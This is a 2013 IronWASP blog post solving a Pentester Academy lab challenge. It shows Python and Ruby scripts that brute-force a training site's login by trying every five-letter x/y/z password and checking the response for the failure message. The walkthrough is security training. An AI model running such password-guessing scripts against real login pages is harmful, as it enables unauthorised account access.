IronWASP - Open Source Advanced Web Security Testing Platform Sunday, October 27, 2013 Solving Pentester Academy Web Application Challenge -1 in both Python and Ruby using IronWASP Unless you have been living under a rock you would have heard about Pentester Academy, a SecurityTube initiative that promises to bring good quality and affordable online security training to everyone. As part of their Web Application Security course, Vivek has put out a bunch of challenges where you can test your security and scripting skills. Solving some of the challenges requires writing your own scripts and what better tool for scripting than IronWASP. So based on popular demand I am going to be making a series of blog posts where I will show how you can solve these challenges by writing Python or Ruby scripts. There is also a video that briefly explains some of the things covered in this post. Challenge -1: Take a moment to check out this video containing challenge description. The challenge itself is available here - pentesteracademylab.appspot/lab/webapp/1 Difficulty Level: Beginner Objective: Find out a valid username and password for the login page. Clues: The usernames could be jack@pentesteracademy or admin@pentesteracademy The password is 5 characters long and only consists of the characters x, y and z Approach: To solve this challenge we have to do password cracking. We already know that the username can be either jack@pentesteracademy or admin@pentesteracademy. The password is some word between xxxxx and zzzzz. To find out which one it is we have to try logging in with every 5 letter combination between xxxxx and zzzzz and see which one succeeds. The password only consists of three different characters x,y,z and the password length is 5 characters so the total number of combinations is 3^5 = 243. The flowchart for the approach is below: First we try all password combinations for the username jack@pentesteracademy. If that doesnt work then we redo the password cracking for the username admin@pentesteracademy. Now that we know what to do, lets create the script. When trying to create this script we are faced with three important questions. How to perform the login from the script with a specified username and password? How to come up with all combinations of password from xxxxx to zzzzz? After the login response is received, how to determine if the login was successful? I will answer all three questions below and you will see how IronWASP makes this whole process so simple. To test out some of the commands and API calls you can make use of the Interactive Shell of IronWASP. Make sure you pick the language of your choice - Python or Ruby and you will get a Python or IRB shell. How to perform the login from the script with a specified username and password? Before we can do the login in the script first let us see how the browser performs the login. Open Google Chrome browser and visit pentesteracademylab.appspot/lab/webapp/1 Now open IronWASP, go to the Proxy section click on the checkbox named Set as System Proxy. Now IronWASP can capture all traffic from the opened Google Chrome browser. In your browser enter some value for username and password in to the login page and click on Sign in, you must see the invalid login message from the server. Thats ok, we are only interested in knowing how the login request looks. If you go to the Log section in IronWASP you must be able to identify the login request in there, it will have the value of the username and password you entered. Make a note of the ID number of that particular log. To send this request from our script we can simply pick it from the logs using IronWASPs API by providing the corresponding log ID. Python: r = Request.FromProxyLog(1) Ruby: r = Request.from_proxy_log(1) In my case the ID of the login request in the logs was 1, it could be something else in your case, use the corresponding value. Once we create the request we must set the username and password values as per our requirement. Before we do that we must find out where the username and password values are stored in the Request. If you look closely you will find that the query part of the request has these values. The name of the query parameter carrying the username is email and the name of the query parameter carrying the password is password. Now that we know this we can easily update these values from within our script. Python: r.Query.Set(email, jack@pentesteracademy) r.Query.Set(password, xxxxx) Ruby: r.query.set(email, jack@pentesteracademy) r.query.set(password, xxxxx) After creating and modifying the request we now have to send this request and get the response. We do this like this: Python: res = r.Send() Ruby: res = r.send_req How to come up with all combinations of password from xxxxx to zzzzz? The latest version of IronWASP makes this step extremely easy, a new class called BruteForcer has been added to the API which can create the password combinations for you. All that you have to do is mention what characters the password can contain, the minimum length the password can have and the maximum length. With this information BruteForcer will automatically generate all combinations for the given input. If you wanted to get all the 4-8 letter lower-case alphabet based password combinations then this is how you do it. Python: br = BruteForcer(abcdefghijklmnopqrstuvwxyz, 4, 8) print Total combinations count is + str(br.TotalCount) while br.HasMore(): print br.GetNext() Ruby: br = BruteForcer.new(abcdefghijklmnopqrstuvwxyz, 4, 8) puts Total combinations count is + br.total_count.to_s while br.has_more puts br.get_next end In this case our character set would be x, y and z and both the minimum and maximum length will be 5. So the input we would provide would be: Python: BruteForcer(xyz, 5, 5) Ruby: BruteForcer.new(xyz, 5, 5) After the login response is received, how to determine if the login was successful? This one is a little tricky, we dont know how the response would look if the login was successful but we do know how the response looks for an invalid login. The important glaring part of this the error message Failed! Please try again!. If this error message does not appear in the response then it would be safe to assume that the login was successful. So we have to look for this message in the body of the response that we get. Lets first check how this message appears in the source code of the page, we have to look for it in the exact same form. And this is how this check can be done from the script. Python: if res.BodyString.count(Failed! Please try again!) == 0: print Login is successful!!! Ruby: if not res.body_string.include? Failed! Please try again! puts Login is successful!!! end Now that we have all the important parts covered lets put it all together and create the script. Below you can see the complete Python and Ruby scripts for this challenge. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 #Script to help solve pentesteracademy/video?id=153 #This script can be run from the multi-line scripting shell of IronWASP v0.9.7.2 and above #Make sure the scripting shell language is selected as Python before executing #The log id value here is one 1. The id value must point to the log containing the login request r = Request.FromProxyLog(1) r.Query.Set(email, jack@pentesteracademy) bf = BruteForcer(xyz, 5,5) while bf.HasMore(): password = bf.GetNext() r.Query.Set(password, password) res = r.Send() if res.BodyString.count(Failed! Please try again!) == 0: print Password is - + password break else: print password view rawWAP_Challenge_1_Solution_in_Python.py hosted with ❤ by GitHub 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 #Script to help solve pentesteracademy/video?id=153 #This script can be run from the multi-line scripting shell of IronWASP v0.9.7.2 and above #Make sure the scripting shell language is selected as Ruby before executing #The log id value here is one 1. The id value must point to the log containing the login request r = Request.from_proxy_log(1) r.query.set(email, jack@pentesteracademy) bf = BruteForcer.new(xyz, 5,5) while bf.has_more password = bf.get_next r.query.set(password, password) res = r.send_req if not res.body_string.include? Failed! Please try again! puts Password is - + password break else puts password end end view rawWAP_Challenge_1_Solution_in_Ruby.rb hosted with ❤ by GitHub Use the Multi-line Shell of IronWASP to execute these scripts. Make sure you have selected the appropriate language then paste or type your script in the text area and hit the Execute Multiline Script button. Once the script starts executing you must see the list of each password being tried, printed out in the console output area. If the script manages to crack the password then you will see the value of the password printed out like this. If the password cracking does not succeed for jack@pentesteracademy then update the script to try password cracking for admin@pentesteracademy. Lets see if you can find out the valid username and password. Good luck!! If you have any questions then you can send me an email or catch me on twitter. Posted by IronWASP at 2:51 PM Email This BlogThis! Share to Twitter Share to Facebook No comments: Post a Comment Older Post Home Subscribe to: Post Comments (Atom) Blog Archive ▼ 2013 (10) ▼ October (2) Solving Pentester Academy Web Application Challeng... Better support for importing Burp Suite Log and Ex... ► September (4) ► August (1) ► May (3) About Me IronWASP View my complete profile Simple template. Powered by Blogger.
Posted on: Mon, 28 Oct 2013 13:53:28 +0000
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